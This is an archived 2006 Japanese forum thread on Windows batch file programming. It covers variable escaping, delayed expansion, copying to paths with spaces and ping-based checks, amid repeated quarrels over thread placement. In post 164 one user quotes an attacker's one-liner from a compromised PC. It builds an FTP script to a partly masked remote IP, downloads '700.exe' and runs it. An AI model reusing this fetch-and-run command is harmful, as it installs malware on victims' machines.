1 名前:デフォルトの名無しさん [2006/05/25(木) 00:45:55 ] 前スレ バッチファイルプログラミング 2.bat pc8.2ch.net/test/read.cgi/tech/1104911889/ 関連スレ 初心者〜管理者まで必読!コマンドライン(DOS Pt.4) pc8.2ch.net/test/read.cgi/win/1116131036/ MS-DOS・Win3.1総合スレッド pc8.2ch.net/test/read.cgi/win/1025462258/ WSH(・∀・)スレッド! pc8.2ch.net/test/read.cgi/tech/1055075469/ バッチファイルプログラミングとは・・・・ ・ファイル拡張子が ".bat" ・複数のコマンドを使い、実行させるバッチファイルを作る を満たせばOK!
85 名前:デフォルトの名無しさん mailto:sage [2006/11/10(金) 15:02:57 ] ""で括る場合は、 ECHO "%^DATE%" とすると、^が"でエスケープされて、 "%^DATE%" となるので、 ECHO ^"%^DATE%" のように、奇数番目の"の前に^を付けます。 以降の^が"でエスケープされなくなります。
86 名前:デフォルトの名無しさん mailto:sage [2006/11/12(日) 16:56:14 ] 訂正 >ECHO ^"%^DATE%" >のように、奇数番目の"の前に^を付けます。 >以降の^が"でエスケープされなくなります。 ECHO ^"%^DATE%^" ^"〜^"で^がエスケープされなくなります。
87 名前:デフォルトの名無しさん [2006/11/15(水) 00:10:13 ] バッチファイルで起動しているアプリケーションの プロセス名を取得するにはどのようにすれば良いでしょうか?
88 名前:87 mailto:sage [2006/11/15(水) 00:12:51 ] osはWINDOWS2000とXPになります よろしくお願いします
89 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 00:18:13 ] >>87 MEM
90 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
91 名前:デフォルトの名無しさん [2006/11/15(水) 12:14:00 ] バッチファイルを使用して同じLANネットワークに接続されている 別のPCでDOSコマンドを実行したいと思っています。 どのようなコマンドで実現出来ますでしょうか? OSはwindows2000になります。ご教授ください<(_ _)>
92 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 12:20:41 ] バッチからDOSコマンド呼ぶだけじゃプログラミングとは呼ばない。
93 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
94 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 14:02:25 ] >>87 2k tlist.exe xp tasklist.exe
95 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 14:10:31 ] 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/108 >xcopyのコマンドでコピー先に既にあるファイルはコピーしない とするにはどうしたらいいでしょうか? 使用法: FindNotExistsCp.CMD コピー元ディレクトリ コピー先ディレクトリ @ECHO OFF SETLOCAL ENABLEDELAYEDEXPANSION FOR %%0 IN (%1) DO ( FOR /R %1 %%1 IN (*) DO ( SET x=%%~f1 SET x=!x:%%~f0=%2! IF NOT EXIST "!x!" ( IF NOT EXIST "!x!\..\*" ( echo MD "!x!\.." ) echo COPY "%%~f1" "!x!" ) ) )
96 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 14:34:11 ] 誤爆?
97 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 15:50:19 ] いや、バッチファイルプログラミングの話だからこっちかなと。
98 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 16:35:45 ] バッチ内で SET hoge=%hoge:a=b% ってやると、hogeがないとき、 hoge=a=b になります。変な仕様?
99 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 17:12:40 ] 動作はOSによって違ったりするし、そう動いたのならそういう仕様
100 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 17:20:40 ] その辺はOSの仕様の話だからここへ ↓ Windows pc8.2ch.net/win/
101 名前:デフォルトの名無しさん mailto:sage [2006/11/15(水) 20:10:15 ] 何だか必死な人がいるねw
102 名前:デフォルトの名無しさん mailto:sage [2006/11/16(木) 02:21:52 ] どうせなら、記事の中身に注力してほしいな。
103 名前:デフォルトの名無しさん mailto:sage [2006/11/24(金) 19:46:18 ] あっちは下品でやーだ。
104 名前:デフォルトの名無しさん mailto:sage [2006/12/04(月) 23:11:09 ] FDのBATファイル作成で、TXTファイルをCドライブの 任意のフォルダにコピーしたいのですが、 copy /y test.txt C:\Downloads\test.txt だと、Downloadsファイルにコピーされるのですが、 copy /y test.txt C:\Documents and Settings\test.txt だと、「コマンドの構文が誤っています。」というエラーが 返ってきます。スペースの部分に%を入れたりしてみたのですが、 うまくいきません。 対処法をご存知の方、お知恵をお貸し頂けませんでしょうか。
105 名前:デフォルトの名無しさん mailto:sage [2006/12/04(月) 23:18:34 ] ダブルクオーテーションで括れ
106 名前:デフォルトの名無しさん mailto:sage [2006/12/04(月) 23:35:10 ] >105 できました!! ありがとうございます!!
107 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
108 名前:デフォルトの名無しさん mailto:sage [2006/12/06(水) 14:40:13 ] はいはい
109 名前:デフォルトの名無しさん mailto:sage [2006/12/11(月) 19:24:36 ] > pc8.2ch.net/test/read.cgi/win/1152544955/558 ローマ字覚えたてのもんで、こっちに来ました。 rem setlocal set /p random=加える数を入力してください set /a hoge+=random set random= rem setlocal set /p cd=ディレクトリを入力してください cd /d %cd% set cd=
110 名前:デフォルトの名無しさん mailto:sage [2006/12/11(月) 19:35:03 ] あっちいけ
111 名前:デフォルトの名無しさん mailto:sage [2006/12/11(月) 22:18:42 ] はいはい
112 名前:デフォルトの名無しさん mailto:sage [2006/12/14(木) 19:39:47 ] 逆に、他人に使われるバッチ内で%CD%や%RANDOM%を使うときは、 念のため環境変数を削除してから使うようにしたほうがいいですね。
113 名前:デフォルトの名無しさん mailto:sage [2006/12/14(木) 19:46:42 ] > pc8.2ch.net/test/read.cgi/win/1152544955/572 バッチで、標準入出力がコンソールかどうか区別する方法ってあります?
114 名前:デフォルトの名無しさん [2006/12/15(金) 00:07:16 ] ageで失礼します。 %TEST1% のような変数の"1"の部分を別途変数にして表現させたいのですが 可能でしょうか? SET TEST1=AAA SET CNT=1 この後、%CNT%を使って%TEST1%の値AAAを表示させたいのですが。。 分かりづらくて申し訳ないです。
115 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:22:01 ] MS-DOS ver4 以降のみですが・・・ echo echo %%TEST%CNT%%%>aaa.bat call aaa.bat
116 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:28:13 ] >>115 さん ありがとうございます。 試してみたのですが、できませんでした。。 結果 %TEST1% となってしまいます。 当方、XPです。
117 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:45:55 ] >>116 %TEST1% という文字列が出力できるなら それを新しいbatに書き込んで実行するだけだからもう一息だね! 互換性を犠牲wにしてもいいなら遅延環境変数の展開を有効にした方が簡単だけどね。 setlocal enabledelayedexpansion echo !TEST%CNT%!
118 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:57:36 ] >>117 さん 中間ファイルを作らずに実行するには setlocalしかないですかね。。?
119 名前:114,116,118 mailto:sage [2006/12/15(金) 01:01:37 ] 一応、中間ファイルを作成して実行できました! できれば中間ファイルを挟まずに実行したいのですが、 setlocal 〜 でうまく出ませんでした。なぜだろう。。
120 名前:114,116,118 mailto:sage [2006/12/15(金) 01:11:39 ] すみません。 echo | echo %test%cnt%% でいけました。 色々と教えてくれた方、ありがとうございます。 お騒がせしました。
121 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 02:08:57 ] call echo %%test%cnt%%%
122 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:26:54 ] パイプの右側はサブプロセスで実行されるので、 echo | set hoge=%%test%cnt%%% とやっても、現プロセスで受け取れませんが、 call set hoge=%%test%cnt%%% ならok
123 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:34:49 ] ここは本スレへ誘導するためのスレです。 ↓↓ ↓本スレはWindows板にあります↓↓ ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
124 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:48:49 ] >>117 >遅延環境変数の展開 →環境変数の遅延展開(delayed expansion)
125 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 15:04:06 ] call :sub echo %%TEST%CNT%%% goto :eof :sub %*
126 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 16:14:57 ] プログラミングじゃなくてOSの仕様の話だな
127 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 18:13:50 ] cmd /c echo %%TEST%CNT%%% お手を煩わせるのはなんなので 123 :デフォルトの名無しさん :2006/12/15(金) 14:34:49 ここは本スレへ誘導するためのスレです。 ↓↓ ↓本スレはWindows板にあります↓↓ ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
128 名前:デフォルトの名無しさん [2006/12/15(金) 20:27:09 ] NGワード:初心者〜管理者まで NGワード2:必読!コマンドライン
129 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 20:36:32 ] 別にお前のNG設定なんて晒さなくてもいいよ 誰も興味ないからw
130 名前:1 mailto:sage [2006/12/15(金) 21:11:20 ] >>127 このスレを立てたものですが、はっきり言って迷惑です ('A`) 1に書いてある趣旨を外れなければ、バッチファイルプログラミングです。 他のスレがよければ、自分だけでそっちに行ってください。
131 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:20:10 ] 本スレあるのに気がつかないとかわいそうだろ
132 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:22:43 ] スレ立てた人も、他の住人も立場的には全く変わらないわけだが。 >>6 でも言われてるでしょ。
133 名前:1 mailto:sage [2006/12/15(金) 21:54:32 ] だから他がよければ他に行けって おまえ一人でさ。 止めはしないよ。
134 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:57:09 ] あれは別に「本」スレじゃないだろ
135 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:00:35 ] バッチ限定でプログラミングだとスレが成り立たない。 実際プログラミングに関係ない話ばっかりだし ここは廃止でいい。
136 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:04:06 ] はいはい
137 名前:1 mailto:sage [2006/12/15(金) 22:05:09 ] >>82-128 よくみてみろ。 関係ない話をしているのは、誘導スレを連続貼りしてるおまえだけだと思うが。 他は、スレの趣旨に則った質問と回答のレスしかないだろ。 他所が良ければ、他所に行っていいよ。 このスレが嫌なら自分でスレを立てればいい。 とにかく迷惑なんだよ。人の迷惑。
138 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:12:44 ] コマンドプロンプトの使い方とか「板違い」だから やりたければよその板でやれ
139 名前:1 mailto:sage [2006/12/15(金) 22:15:40 ] >>138 じゃ、正式に手続き取って削除依頼でも出してくればいい。 このスレは3スレ目だが、2スレ目と1スレ目を立てたのは俺じゃない。 それだけ、需要があるんだよ。 嫌がらせしないで、板違いだとおっしゃるなら、どうぞ削除依頼に 出してください。
140 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:19:03 ] >>138 ここはコマンドプロンプトの使い方でなくてバッチファイルプログラムのスレだろ。
141 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:53:08 ] そもさん ファイルの行数、文字数は如何に? そもさん 環境変数の値のバイト数、文字数は如何に?
142 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:55:10 ] >>141 あんたは禅宗か
143 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 23:00:58 ] あれ、禅問答みたいなことやってると思って、つい。
144 名前:デフォルトの名無しさん [2006/12/16(土) 01:55:18 ] UNIXのshllだったら、以下の様な記述でPING結果による条件分岐が出来たのですが、 バッチだったらどの様に記述したら良いでしょうか? if [ `/usr/sbin/ping $HOST_NAME 2>&1 | /usr/bin/awk '{ print $3 }'` = "alive" ]; then echo "$HOST_NAME is alive" else echo "UNKNOWN HOST $HOST_NAME" fi 何をしたいのかと言えば、サーバにPINGして応答があった場合、 net use \\server1\share1 /user:domain\user01 password01 でサーバに接続して処理する仕組みをバッチファイルに組み込みたいのです。
145 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 05:48:24 ] >>144 for /f "usebackq delims==" %%i in (`%windir%\System32\ping.exe %HOST_NAME% ^| find /c "(100%% loss)"`) do if "%%i"=="0" ( echo %HOST_NAME% is alive ) else ( echo UNKNOWN HOST %HOST_NAME% ) もっといい方法はあるかな
146 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:00:22 ] ping結果は、100%% loss だけじゃなくて unknown host とかunreach・・・とかもあるな。
147 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:45:15 ] >>144 わざわざそんなことしなくても&&のようなもの(shellによるだろうけど)使えば一発じゃないか? プログラミングを始める前にshellなりコマンドプロンプトの勉強をした方が良いと思われます。
148 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 09:18:51 ] まさかこのスレにshellの能書き垂れる馬鹿がいるとは……
149 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 11:06:29 ] >>144 バッチ初心者はこちらへどうぞ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
150 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 13:53:36 ] >>149 は荒し
151 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 16:08:03 ] >>147 手本を見せてみろ
152 名前:127 mailto:sage [2006/12/17(日) 04:09:53 ] すみません。 無駄に>>123 にスレッドが消費されないように、>>123 を貼り付けたのですが、 かえって、たくさん消費されちゃいましたね。 アイデアとしてはよいと思ったのですが、やっぱ駄目ですかね。
153 名前:デフォルトの名無しさん mailto:sage [2006/12/17(日) 08:23:40 ] >>152 荒らし目的なら兎も角、そうでないなら頭悪すぎだからな。
154 名前:デフォルトの名無しさん [2006/12/19(火) 10:13:24 ] 朝っぱらからスマソがおしえてくれ IEを開くまでできるがその後、 ツール−インターネットオプション→クッキーの削除 するソースがわからん
155 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 10:39:05 ] スレ違い
156 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 11:30:41 ] >>154 自分でプログラムを作らない人はここへ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
157 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:10:08 ] >>154 やったことないけど del C:\Documents and Settings\username\Cookies\*.txt は?
158 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:49:05 ] >155-156 誘導スマソ ここが適所スレとおもた。 >157 なるほど直接ファイルのあるフォルダを指定して消すやり方もあるんだなぁ キーボード操作でメニューバー動かすbatをおしえてくれろ これで当分は自分でなんとか出来るからおねがいします
159 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:11:34 ] batでは無理 参考 pc8.2ch.net/test/read.cgi/win/1152544955/354-364
160 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:18:25 ] >>158 そういうのはバッチに限定しない方がいいからこっちへ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、 wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ コマンドラインインタフェースに関するネタならなんでもOK。
161 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:26:55 ] >159-160 知らなかったorz 昨日batを知ったばかりの廚なのでスマソかった
162 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:45:06 ] ちょっとだけスレ使わせていただきまつ 今、パソコン乗っ取られますた!ここの住人か? 初めての経験でつ勉強になりましたが気持ち悪かったです で教えて欲しいですがセキュリティの甘いところはVPNのパスだけでしょうか? それともルーターの設定があまいのかおしえれ
163 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:56:33 ] 昨日もおかしな現象が起こってたんだよな。 ipは晒してないから別の路線から来たと思うけど それとも割れからトロイか?
164 名前:デフォルトの名無しさん mailto:age [2006/12/19(火) 17:06:05 ] VPN経路で、ファイル名指定して実行で cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex ここまで書いたおまいだよ!
165 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 17:27:25 ] 本スレはここ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
166 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:05:23 ] 別の板にスレ作っとくからそこへ鯉♪ スレ板名を記入しなくても分かるよな スレッド汚してスマソかった。m(__)m
167 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:06:04 ] >>164 とりあえずdel i は不要だな かなりの確率でトロイだと思われ
168 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:34:43 ] >>161 WSHを聞くなら、こっちが罵倒されないだけ、いいかも。 www.roy.hi-ho.ne.jp/mutaguchi/bbs/index.shtml
169 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:43:51 ] >167 トロイだろうなorz >168 どうもありがとうです 別板にスレ作ったが奴は来ないがルータ初期化してVNC切ったから 細かい事は読み取れないのか?分からなかったらメルアド知ってるだろw そこにメール汁!!!あ、kenziの方な他はあまり見ないから。
170 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 20:43:19 ] >>165 は荒しなので無視してください
171 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:48:46 ] バッチの本スレ↓ 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/
172 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:53:06 ] >>171 のスレは「本スレ」ではありません。だまされないように。
173 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:07:28 ] >>172 は嘘です。だまされないように。
174 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:13:25 ] バッチファイルプログラミング 3.bat pc8.2ch.net/test/read.cgi/tech/1148485555/ プログラミング限定 初心者〜管理者まで必読!コマンドライン(DOS Pt.5) pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK
175 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:16:55 ] それくらいの熱心さであっちに書き込んだらよいのに。 あっちに書くほどの技術内容がないから、こっちに無内容なこと書くわけ?
176 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:18:33 ] 執拗に同じものを貼る人はある種の病気なんだろうな。
177 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:24:17 ] 病気なら仕方がないか。早く直ってね。 それまで、みんな温かく見守ってあげようよ。 背景輻射、ブラックマターだと思って気にしないこと。 それが一番病人にいいんじゃないの。
178 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:32:17 ] >>175-177 書きたいことは一度に書け。 もしかして他人の書き込みを装ったつもり?
179 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:34:50 ] >>178 2,3人いるんだろ。 病人は早く寝たほうがいいですよ。
180 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:42:19 ] 心にやましいことがなければ、病気だと思う奴のことなんか放置すればいいのに やましいことをしている自覚があるから、反論を書かずにはいられないんですね。
181 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:46:53 ] >>178 本当の意図は何か、はっきり言ったらすっきりするんじゃないか? >>1 が嫌いとか、>>1 にバカにされたことを根に持ってるとか。 引き合いに出して、ごめんね>>1 それくらいのことしか考えられないもんね。
182 名前:あぼーん mailto:あぼーん [あぼーん] あぼーん
183 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:54:44 ] 181
184 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:55:01 ] >>180 >心にやましいこと それだよ、それ。想像でいいから、何だと思う?
185 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:01:15 ] ( ̄ー ̄)ニヤリ